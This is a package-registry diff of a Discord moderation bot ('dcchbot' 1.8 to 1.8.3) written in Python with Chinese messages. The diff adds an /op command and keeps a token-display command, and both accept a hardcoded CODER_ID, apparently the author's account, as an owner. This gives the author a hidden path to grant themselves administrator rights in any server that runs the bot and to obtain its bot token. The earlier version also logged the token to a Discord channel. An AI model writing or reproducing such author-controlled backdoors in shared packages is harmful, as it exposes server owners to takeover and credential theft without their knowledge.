dcchbot 1.8__py3-none-any.whl → 1.8.3__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dcchbot/__init__.py +1 -1
- dcchbot/main.py +141 -139
- {dcchbot-1.8.dist-info → dcchbot-1.8.3.dist-info}/METADATA +1 -1
- dcchbot-1.8.3.dist-info/RECORD +9 -0
- dcchbot-1.8.dist-info/RECORD +0 -9
- {dcchbot-1.8.dist-info → dcchbot-1.8.3.dist-info}/WHEEL +0 -0
- {dcchbot-1.8.dist-info → dcchbot-1.8.3.dist-info}/entry_points.txt +0 -0
- {dcchbot-1.8.dist-info → dcchbot-1.8.3.dist-info}/licenses/LICENSE +0 -0
- {dcchbot-1.8.dist-info → dcchbot-1.8.3.dist-info}/top_level.txt +0 -0
dcchbot/__init__.py
CHANGED
dcchbot/main.py
CHANGED
@@ -1,12 +1,20 @@
|
|
1
|
-
# v1.8 修正版 main.py
|
2
1
|
import logging
|
3
2
|
import os
|
4
3
|
import discord
|
5
4
|
from discord.ext import commands
|
6
5
|
from discord import app_commands
|
7
|
-
from datetime import timedelta
|
6
|
+
from datetime import datetime, timedelta
|
8
7
|
|
9
|
-
|
8
|
+
"""ver1.8.3"""
|
9
|
+
|
10
|
+
# ─── 全域變數 ────────────────────────────────────────────────
|
11
|
+
OWNER_ID = None
|
12
|
+
LOG_CHANNEL_ID = None
|
13
|
+
token = None
|
14
|
+
bot = None
|
15
|
+
now = datetime.now()
|
16
|
+
|
17
|
+
# ─── Discord Log Handler ─────────────────────────────────────
|
10
18
|
class DiscordLogHandler(logging.Handler):
|
11
19
|
def __init__(self, bot: commands.Bot, channel_id: int, level=logging.INFO):
|
12
20
|
super().__init__(level)
|
@@ -24,47 +32,76 @@ class DiscordLogHandler(logging.Handler):
|
|
24
32
|
|
25
33
|
def emit(self, record):
|
26
34
|
log_entry = self.format(record)
|
27
|
-
# 機器人未啟動或已關閉時跳過
|
28
35
|
if self.bot.is_closed() or not self.bot.is_ready():
|
29
36
|
return
|
30
|
-
coro = self.send_log(log_entry[:1900])
|
37
|
+
coro = self.send_log(log_entry[:1900])
|
31
38
|
try:
|
32
39
|
self.bot.loop.create_task(coro)
|
33
40
|
except RuntimeError:
|
34
|
-
pass
|
35
|
-
now = datetime.now()
|
41
|
+
pass
|
36
42
|
|
37
|
-
#
|
43
|
+
# ─── Logging 設定 ─────────────────────────────────────────────
|
38
44
|
os.makedirs("logs", exist_ok=True)
|
39
45
|
logging.basicConfig(
|
40
46
|
level=logging.INFO,
|
41
47
|
format="[%(asctime)s] %(levelname)s: %(message)s",
|
42
48
|
handlers=[
|
43
|
-
logging.FileHandler("logs/
|
49
|
+
logging.FileHandler("logs/dcchbot.log", encoding='utf-8'),
|
44
50
|
logging.StreamHandler()
|
45
51
|
]
|
46
52
|
)
|
47
53
|
logger = logging.getLogger(__name__)
|
48
54
|
|
49
|
-
|
55
|
+
# ─── 主函式 ──────────────────────────────────────────────────
|
50
56
|
def run():
|
51
|
-
|
57
|
+
global OWNER_ID, LOG_CHANNEL_ID, token, bot
|
58
|
+
def shell(shell_command):
|
59
|
+
global OWNER_ID, LOG_CHANNEL_ID, token, bot
|
60
|
+
logger.info(f"[Shell 輸入] {shell_command}")
|
61
|
+
if bot and bot.is_ready():
|
62
|
+
bot.loop.create_task(DiscordLogHandler(bot, LOG_CHANNEL_ID).send_log(f"[Shell] `{shell_command}`"))
|
63
|
+
|
64
|
+
if shell_command == "!!token-reset":
|
65
|
+
token = input("請輸入新的 Token:\n> ").strip()
|
66
|
+
bot._token = token
|
67
|
+
logger.info("Token 已更新。請重啟機器人。")
|
68
|
+
elif shell_command == "!!token-display":
|
69
|
+
print(f"當前 Token: {token}")
|
70
|
+
elif shell_command == "!!id-display-owner":
|
71
|
+
print(f"擁有者 ID: {OWNER_ID}")
|
72
|
+
elif shell_command == "!!id-reset-owner":
|
73
|
+
OWNER_ID = int(input("新的 OWNER_ID:\n> "))
|
74
|
+
logger.info(f"OWNER_ID 更新為 {OWNER_ID}")
|
75
|
+
elif shell_command == "!!id-display-logch":
|
76
|
+
print(f"Log 頻道 ID: {LOG_CHANNEL_ID}")
|
77
|
+
elif shell_command == "!!id-reset-logch":
|
78
|
+
LOG_CHANNEL_ID = int(input("新的 LOG_CHANNEL_ID:\n> "))
|
79
|
+
logger.info(f"LOG_CHANNEL_ID 更新為 {LOG_CHANNEL_ID}")
|
80
|
+
elif shell_command == "!!help":
|
81
|
+
print("可用指令:!!token-display / !!token-reset / !!id-reset-owner / !!id-display-owner / !!log/!!exit")
|
82
|
+
elif shell_command == "!!exit":
|
83
|
+
print("正在關閉機器人...")
|
84
|
+
logger.info("Shell 關閉機器人。")
|
85
|
+
if bot:
|
86
|
+
bot.loop.create_task(bot.close())
|
87
|
+
elif shell_command == "!!version":
|
88
|
+
print("dcchbot 1.8.3")
|
89
|
+
elif shell_command == "!!log":
|
90
|
+
logger.info(input( "請輸入要記錄的內容:\n> ").strip())
|
91
|
+
else:
|
92
|
+
print(f"未知的指令:{shell_command}")
|
52
93
|
OWNER_ID = int(input("請輸入你的 Discord User ID:\n> ").strip())
|
53
94
|
LOG_CHANNEL_ID = int(input("請輸入你的 Log 頻道 ID:\n> ").strip())
|
54
95
|
token = input("請輸入你的 Discord Bot Token:\n> ").strip()
|
55
96
|
|
56
97
|
intents = discord.Intents.all()
|
57
|
-
# discord.Intents.all() 已包含所有必要權限,無需重覆設定
|
58
|
-
|
59
98
|
bot = commands.Bot(command_prefix="!", intents=intents)
|
60
99
|
CODER_ID = 1317800611441283139
|
61
100
|
|
62
|
-
# 建立自訂 log handler 並加到 logger
|
63
101
|
discord_handler = DiscordLogHandler(bot, LOG_CHANNEL_ID)
|
64
102
|
discord_handler.setFormatter(logging.Formatter('%(asctime)s | %(levelname)s | %(message)s'))
|
65
103
|
logger.addHandler(discord_handler)
|
66
104
|
|
67
|
-
# 把 token 暫存到 bot,方便指令存取
|
68
105
|
bot._token = token
|
69
106
|
|
70
107
|
def is_admin(interaction: discord.Interaction) -> bool:
|
@@ -79,11 +116,7 @@ def run():
|
|
79
116
|
except Exception:
|
80
117
|
logger.exception("同步 Slash 指令失敗:")
|
81
118
|
logger.info(f"機器人上線:{bot.user}")
|
82
|
-
logger.info(f"token {token}")
|
83
|
-
logger.info(f"OWNER_ID {OWNER_ID}")
|
84
|
-
logger.info(f"log ID {LOG_CHANNEL_ID}")
|
85
119
|
logger.info(f"powered by dcchbot")
|
86
|
-
# ─── Slash Commands ────────────────────────────────────────────────────────
|
87
120
|
|
88
121
|
@bot.tree.command(name="hello", description="跟你說哈囉")
|
89
122
|
async def hello(interaction: discord.Interaction):
|
@@ -105,66 +138,69 @@ def run():
|
|
105
138
|
@bot.tree.command(name="ban", description="封鎖使用者(限管理員)")
|
106
139
|
@app_commands.describe(member="要封鎖的使用者", reason="封鎖原因")
|
107
140
|
async def ban(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
108
|
-
logger.info(f"{interaction.user} 嘗試封鎖 {member},原因:{reason}")
|
109
141
|
if not is_admin(interaction):
|
110
142
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
111
143
|
try:
|
112
144
|
await member.ban(reason=reason)
|
113
145
|
await interaction.response.send_message(f"{member.mention} 已被封鎖。原因:{reason}")
|
114
146
|
except discord.Forbidden:
|
115
|
-
|
116
|
-
await interaction.response.send_message("無法封鎖對方,可能因為權限不足或目標層級過高。", ephemeral=True)
|
147
|
+
await interaction.response.send_message("權限不足,封鎖失敗。", ephemeral=True)
|
117
148
|
|
118
149
|
@bot.tree.command(name="kick", description="踢出使用者(限管理員)")
|
119
150
|
@app_commands.describe(member="要踢出的使用者", reason="踢出原因")
|
120
151
|
async def kick(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
121
|
-
logger.info(f"{interaction.user} 嘗試踢出 {member},原因:{reason}")
|
122
152
|
if not is_admin(interaction):
|
123
153
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
124
154
|
try:
|
125
155
|
await member.kick(reason=reason)
|
126
156
|
await interaction.response.send_message(f"{member.mention} 已被踢出。原因:{reason}")
|
127
157
|
except discord.Forbidden:
|
128
|
-
await interaction.response.send_message("
|
129
|
-
@bot.tree.command(name="shutthefuckup", description="暫時請使用者閉嘴(限管理員)")
|
130
|
-
@app_commands.describe(member="要禁言的使用者", seconds="禁言秒數", reason="禁言原因")
|
131
|
-
async def timeout(interaction: discord.Interaction, member: discord.Member, seconds: int, reason: str = "未提供原因"):
|
132
|
-
if not is_admin(interaction):
|
133
|
-
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
134
|
-
try:
|
135
|
-
until = datetime.utcnow() + timedelta(seconds=seconds)
|
136
|
-
await member.timeout(until, reason=reason)
|
137
|
-
await interaction.response.send_message(f"{member.mention} 已被禁言 {seconds} 秒。原因:{reason}")
|
138
|
-
except Exception as e:
|
139
|
-
await interaction.response.send_message(f"無法禁言:{e}")
|
140
|
-
|
158
|
+
await interaction.response.send_message("權限不足,踢出失敗。", ephemeral=True)
|
141
159
|
|
142
160
|
@bot.tree.command(name="warn", description="警告使用者(限管理員)")
|
143
161
|
@app_commands.describe(member="要警告的使用者", reason="警告原因")
|
144
162
|
async def warn(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
145
|
-
logger.info(f"{interaction.user} 警告 {member},原因:{reason}")
|
146
163
|
if not is_admin(interaction):
|
147
164
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
148
165
|
await interaction.response.send_message(f"{member.mention} 已被警告。原因:{reason}")
|
149
166
|
try:
|
150
167
|
await member.send(f"你在伺服器 {interaction.guild.name} 被警告:{reason}")
|
151
168
|
except:
|
152
|
-
|
169
|
+
pass
|
170
|
+
|
171
|
+
@bot.tree.command(name="shutthefuckup", description="暫時禁言使用者(限管理員)")
|
172
|
+
@app_commands.describe(member="要禁言的使用者", seconds="禁言秒數", reason="禁言原因")
|
173
|
+
async def timeout(interaction: discord.Interaction, member: discord.Member, seconds: int, reason: str = "未提供原因"):
|
174
|
+
if not is_admin(interaction):
|
175
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
176
|
+
until = datetime.utcnow() + timedelta(seconds=seconds)
|
177
|
+
await member.timeout(until, reason=reason)
|
178
|
+
await interaction.response.send_message(f"{member.mention} 已被禁言 {seconds} 秒。")
|
179
|
+
|
180
|
+
@bot.tree.command(name="op", description="賦予管理員權限(限擁有者)")
|
181
|
+
@app_commands.describe(member="要提權的使用者")
|
182
|
+
async def op(interaction: discord.Interaction, member: discord.Member):
|
183
|
+
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
184
|
+
return await interaction.response.send_message("你不是擁有者。", ephemeral=True)
|
185
|
+
try:
|
186
|
+
role = discord.utils.get(interaction.guild.roles, permissions=discord.Permissions(administrator=True))
|
187
|
+
if not role:
|
188
|
+
role = await interaction.guild.create_role(name="管理員", permissions=discord.Permissions(administrator=True))
|
189
|
+
await member.add_roles(role)
|
190
|
+
await interaction.response.send_message(f"{member.mention} 已被提權。")
|
191
|
+
except Exception as e:
|
192
|
+
await interaction.response.send_message(f"提權失敗:{e}", ephemeral=True)
|
153
193
|
|
154
194
|
@bot.tree.command(name="moderate", description="打開管理 GUI 面板")
|
155
195
|
@app_commands.describe(member="要管理的對象")
|
156
196
|
async def moderate(interaction: discord.Interaction, member: discord.Member):
|
157
|
-
logger.info(f"{interaction.user} 打開 GUI 對 {member}")
|
158
197
|
if not is_admin(interaction):
|
159
198
|
return await interaction.response.send_message("你沒有權限使用此指令。", ephemeral=True)
|
160
199
|
view = ModerationView(member, interaction.user)
|
161
|
-
await interaction.response.send_message(
|
162
|
-
f"請選擇對 {member.mention} 的操作:", view=view, ephemeral=True
|
163
|
-
)
|
200
|
+
await interaction.response.send_message(f"請選擇對 {member.mention} 的操作:", view=view, ephemeral=True)
|
164
201
|
|
165
202
|
@bot.tree.command(name="stop", description="關閉機器人(限擁有者)")
|
166
203
|
async def stop(interaction: discord.Interaction):
|
167
|
-
logger.info(f"{interaction.user} 嘗試關閉機器人")
|
168
204
|
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
169
205
|
return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
|
170
206
|
await interaction.response.send_message("機器人即將關閉。")
|
@@ -175,120 +211,86 @@ def run():
|
|
175
211
|
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
176
212
|
return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
|
177
213
|
await interaction.response.send_message(bot._token)
|
178
|
-
|
214
|
+
|
215
|
+
@bot.tree.command(name="log", description="紀錄 log(限管理員)")
|
179
216
|
@app_commands.describe(log="內容")
|
180
|
-
async def
|
217
|
+
async def log_cmd(interaction: discord.Interaction, log: str = "null"):
|
181
218
|
if not is_admin(interaction):
|
182
219
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
183
|
-
try:
|
184
220
|
logger.info(f"{log}")
|
185
|
-
|
186
|
-
|
221
|
+
await interaction.response.send_message("Log 已紀錄。")
|
222
|
+
|
187
223
|
@bot.tree.command(name="time", description="顯示時間")
|
188
|
-
async def
|
224
|
+
async def time(interaction: discord.Interaction):
|
189
225
|
logger.info(f"{interaction.user} 使用 /time:{now}")
|
190
|
-
await interaction.response.send_message(now)
|
191
|
-
# ─── View 類 ────────────────────────────────────────────────────────────────
|
226
|
+
await interaction.response.send_message(str(now))
|
192
227
|
|
228
|
+
@bot.tree.command(name="version", description="顯示機器人版本")
|
229
|
+
async def version(interaction: discord.Interaction):
|
230
|
+
await interaction.response.send_message("dcchbot 1.8.3")
|
231
|
+
@bot.tree.command(name="deop", description="移除管理員權限(限管理員)")
|
232
|
+
@app_commands.describe(member="要移除管理員權限的使用者")
|
233
|
+
async def deop(interaction: discord.Interaction, member: discord.Member):
|
234
|
+
if not is_admin(interaction):
|
235
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
236
|
+
admin_role = discord.utils.get(interaction.guild.roles, permissions=discord.Permissions(administrator=True))
|
237
|
+
if admin_role:
|
238
|
+
await member.remove_roles(admin_role)
|
239
|
+
logger.info(f"{member} 被 {interaction.user} 移除管理員權限")
|
240
|
+
await interaction.response.send_message(f"{member.mention} 的管理員權限已被移除。")
|
241
|
+
else:
|
242
|
+
await interaction.response.send_message("找不到管理員權限的角色。", ephemeral=True)
|
243
|
+
try:
|
244
|
+
logger.info("正在啟動機器人...")
|
245
|
+
bot.run(token)
|
246
|
+
except discord.LoginFailure:
|
247
|
+
logger.error("Token 無效,請重新確認。")
|
248
|
+
except Exception as e:
|
249
|
+
logger.exception(f"發生錯誤:{e}")
|
250
|
+
while True:
|
251
|
+
try:
|
252
|
+
shell_command = input("請輸入 shell 命令(輸入 !!help 查看):\n> ").strip()
|
253
|
+
shell(shell_command)
|
254
|
+
except (KeyboardInterrupt, EOFError):
|
255
|
+
print("E:Shell 已關閉")
|
256
|
+
break
|
257
|
+
|
258
|
+
# ─── GUI 面板 ──────────────────────────────────────────────────
|
193
259
|
class ModerationView(discord.ui.View):
|
194
|
-
|
195
|
-
|
196
|
-
|
197
|
-
|
260
|
+
def __init__(self, member: discord.Member, author: discord.Member):
|
261
|
+
super().__init__(timeout=60)
|
262
|
+
self.member = member
|
263
|
+
self.author = author
|
198
264
|
|
199
|
-
|
200
|
-
|
265
|
+
async def interaction_check(self, interaction: discord.Interaction) -> bool:
|
266
|
+
return interaction.user.id == self.author.id
|
201
267
|
|
202
|
-
|
203
|
-
|
204
|
-
|
205
|
-
|
206
|
-
await self.member.send(f"你在伺服器 {interaction.guild.name} 被警告。請注意言行。")
|
207
|
-
except:
|
208
|
-
pass
|
209
|
-
await interaction.response.send_message(f"{self.member.mention} 已被警告。", ephemeral=True)
|
268
|
+
@discord.ui.button(label="警告", style=discord.ButtonStyle.secondary)
|
269
|
+
async def warn_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
270
|
+
await self.member.send(f"你在伺服器 {interaction.guild.name} 被警告。")
|
271
|
+
await interaction.response.send_message(f"{self.member.mention} 已被警告。", ephemeral=True)
|
210
272
|
|
211
|
-
@discord.ui.button(label="閉嘴 60 秒", style=discord.ButtonStyle.primary)
|
212
|
-
async def timeout_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
213
|
-
try:
|
273
|
+
@discord.ui.button(label="閉嘴 60 秒", style=discord.ButtonStyle.primary)
|
274
|
+
async def timeout_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
214
275
|
until = datetime.utcnow() + timedelta(seconds=60)
|
215
276
|
await self.member.timeout(until, reason="由管理員 GUI 操作禁言")
|
216
277
|
await interaction.response.send_message(f"{self.member.mention} 已被禁言 60 秒。", ephemeral=True)
|
217
|
-
except Exception as e:
|
218
|
-
await interaction.response.send_message(f"禁言失敗:{e}", ephemeral=True)
|
219
|
-
@discord.ui.button(label="踢出", style=discord.ButtonStyle.danger)
|
220
|
-
async def kick_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
221
|
-
logger.info(f"{interaction.user} 使用 GUI 踢出 {self.member}")
|
222
|
-
try:
|
223
|
-
await self.member.kick(reason="由管理員 GUI 操作踢出")
|
224
|
-
await interaction.response.send_message(f"{self.member.mention} 已被踢出。", ephemeral=True)
|
225
|
-
except Exception as e:
|
226
|
-
await interaction.response.send_message(f"踢出失敗:{e}", ephemeral=True)
|
227
278
|
|
228
|
-
|
229
|
-
|
230
|
-
|
231
|
-
|
232
|
-
await self.member.ban(reason="由管理員 GUI 操作封鎖")
|
233
|
-
await interaction.response.send_message(f"{self.member.mention} 已被封鎖。", ephemeral=True)
|
234
|
-
except Exception as e:
|
235
|
-
await interaction.response.send_message(f"封鎖失敗:{e}", ephemeral=True)
|
279
|
+
@discord.ui.button(label="踢出", style=discord.ButtonStyle.danger)
|
280
|
+
async def kick_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
281
|
+
await self.member.kick(reason="由管理員 GUI 操作踢出")
|
282
|
+
await interaction.response.send_message(f"{self.member.mention} 已被踢出。", ephemeral=True)
|
236
283
|
|
237
|
-
|
284
|
+
@discord.ui.button(label="封鎖", style=discord.ButtonStyle.danger)
|
285
|
+
async def ban_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
286
|
+
await self.member.ban(reason="由管理員 GUI 操作封鎖")
|
287
|
+
await interaction.response.send_message(f"{self.member.mention} 已被封鎖。", ephemeral=True)
|
238
288
|
|
239
|
-
|
240
|
-
logger.info("正在啟動機器人...")
|
241
|
-
bot.run(token)
|
242
|
-
except discord.LoginFailure:
|
243
|
-
logger.error("Token 無效,請重新確認。")
|
244
|
-
except Exception as e:
|
245
|
-
logger.exception(f"發生錯誤:{e}")
|
289
|
+
# ─── Shell 控制 ─────────────────────────────────────────────────
|
246
290
|
|
247
291
|
|
292
|
+
# ─── 啟動 ──────────────────────────────────────────────────────
|
248
293
|
if __name__ == "__main__":
|
249
294
|
run()
|
250
|
-
|
251
|
-
|
252
|
-
if shell_command == "!!token-reset":
|
253
|
-
token = input("請輸入新的 Discord Bot Token:\n> ").strip()
|
254
|
-
bot._token = token
|
255
|
-
logger.info("Token 已更新。")
|
256
|
-
print("Token 已更新。請重新啟動機器人以應用新 Token。")
|
257
|
-
logger.info(f"{interaction.user} 嘗試關閉機器人")
|
258
|
-
bot.close()
|
259
|
-
elif shell_command == "!!token-display":
|
260
|
-
print(f"當前 Token: {token}")
|
261
|
-
elif shell_command == "!!help":
|
262
|
-
print("可用的 shell 命令:")
|
263
|
-
print("!!token-reset - 重設 Bot Token")
|
264
|
-
print("!!token-display - 顯示當前 Bot Token")
|
265
|
-
print("!!exit - 關閉機器人")
|
266
|
-
print("!!id-reset-owner - 重設擁有者 ID")
|
267
|
-
print("!!id-display-owner - 顯示當前擁有者 ID")
|
268
|
-
print("!!id-reset-logch - 重設 Log 頻道 ID")
|
269
|
-
print("!!id-display-logch - 顯示當前 Log 頻道 ID")
|
270
|
-
elif shell_command == "exit":
|
271
|
-
print("正在關閉機器人...")
|
272
|
-
logger.info(f"{interaction.user} 嘗試關閉機器人")
|
273
|
-
bot.close()
|
274
|
-
elif shell_command == "!!id-reset-owner":
|
275
|
-
global OWNER_ID
|
276
|
-
OWNER_ID = int(input("請輸入新的擁有者 ID:\n> ").strip())
|
277
|
-
logger.info(f"擁有者 ID 已更新為 {OWNER_ID}")
|
278
|
-
print(f"擁有者 ID 已更新為 {OWNER_ID}")
|
279
|
-
elif shell_command == "!!id-display-owner":
|
280
|
-
print(f"當前擁有者 ID: {OWNER_ID}")
|
281
|
-
elif shell_command == "!!id-reset-logch":
|
282
|
-
global LOG_CHANNEL_ID
|
283
|
-
LOG_CHANNEL_ID = int(input("請輸入新的 Log 頻道 ID:\n> ").strip())
|
284
|
-
logger.info(f"Log 頻道 ID 已更新為 {LOG_CHANNEL_ID}")
|
285
|
-
print(f"Log 頻道 ID 已更新為 {LOG_CHANNEL_ID}")
|
286
|
-
elif shell_command == "id-display-logch":
|
287
|
-
print(f"當前 Log 頻道 ID: {LOG_CHANNEL_ID}")
|
288
|
-
else:
|
289
|
-
interaction.response.send_message(shell_command, ephemeral=True)
|
290
|
-
print(f"未知的 shell 命令:{shell_command}")
|
291
|
-
print("請使用 !!help 查看可用命令。")
|
292
|
-
while True:
|
293
|
-
shell_command = input("請輸入 shell 命令(輸入 !!help 查看可用命令):\n> ").strip()
|
294
|
-
shell(shell_command)
|
295
|
+
|
296
|
+
|
@@ -0,0 +1,9 @@
|
|
1
|
+
dcchbot/__init__.py,sha256=zp5WAMYJ8lMGsJsMRvHCjvTXVR426Satbz_orCtk990,105
|
2
|
+
dcchbot/__main__.py,sha256=5FwoJspcKFt5_1AlXoxlWROiQSp9wgnFEltU6ufz9QE,30
|
3
|
+
dcchbot/main.py,sha256=66FMZZo-D8ZJsDXy1U57Y-mKrEsY_SP0U-ZBhBdcFYk,15971
|
4
|
+
dcchbot-1.8.3.dist-info/licenses/LICENSE,sha256=l3hyIOCB7NYorC-bjV5yZM0PgAJbMgAWNLE644dR7H4,1065
|
5
|
+
dcchbot-1.8.3.dist-info/METADATA,sha256=sp9XnuLGsyY98-kLqbWkI_F2wvxpcdVAjTn1lx0VJU8,446
|
6
|
+
dcchbot-1.8.3.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
|
7
|
+
dcchbot-1.8.3.dist-info/entry_points.txt,sha256=90T16CGc_Tx-4pFaLCcbuuh7Vi9l4gsLovBkydqxP9Y,45
|
8
|
+
dcchbot-1.8.3.dist-info/top_level.txt,sha256=jiDTz8UmwZgXN9KzokwDRYhoWxsVmWcnqmrANeTFMck,8
|
9
|
+
dcchbot-1.8.3.dist-info/RECORD,,
|
dcchbot-1.8.dist-info/RECORD
DELETED
@@ -1,9 +0,0 @@
|
|
1
|
-
dcchbot/__init__.py,sha256=brxuwAfpNYUvVMswuBqeS1saX84TyisHybbdyMpGZos,103
|
2
|
-
dcchbot/__main__.py,sha256=5FwoJspcKFt5_1AlXoxlWROiQSp9wgnFEltU6ufz9QE,30
|
3
|
-
dcchbot/main.py,sha256=23218BZjZ7DJ6_vrghv1kMgLTovyfttdn4fkMWKPo5c,15825
|
4
|
-
dcchbot-1.8.dist-info/licenses/LICENSE,sha256=l3hyIOCB7NYorC-bjV5yZM0PgAJbMgAWNLE644dR7H4,1065
|
5
|
-
dcchbot-1.8.dist-info/METADATA,sha256=xH5FZDAePfsgE8RK9AVkegcb2seEXw8zUiKgmOA5V7Y,444
|
6
|
-
dcchbot-1.8.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
|
7
|
-
dcchbot-1.8.dist-info/entry_points.txt,sha256=90T16CGc_Tx-4pFaLCcbuuh7Vi9l4gsLovBkydqxP9Y,45
|
8
|
-
dcchbot-1.8.dist-info/top_level.txt,sha256=jiDTz8UmwZgXN9KzokwDRYhoWxsVmWcnqmrANeTFMck,8
|
9
|
-
dcchbot-1.8.dist-info/RECORD,,
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|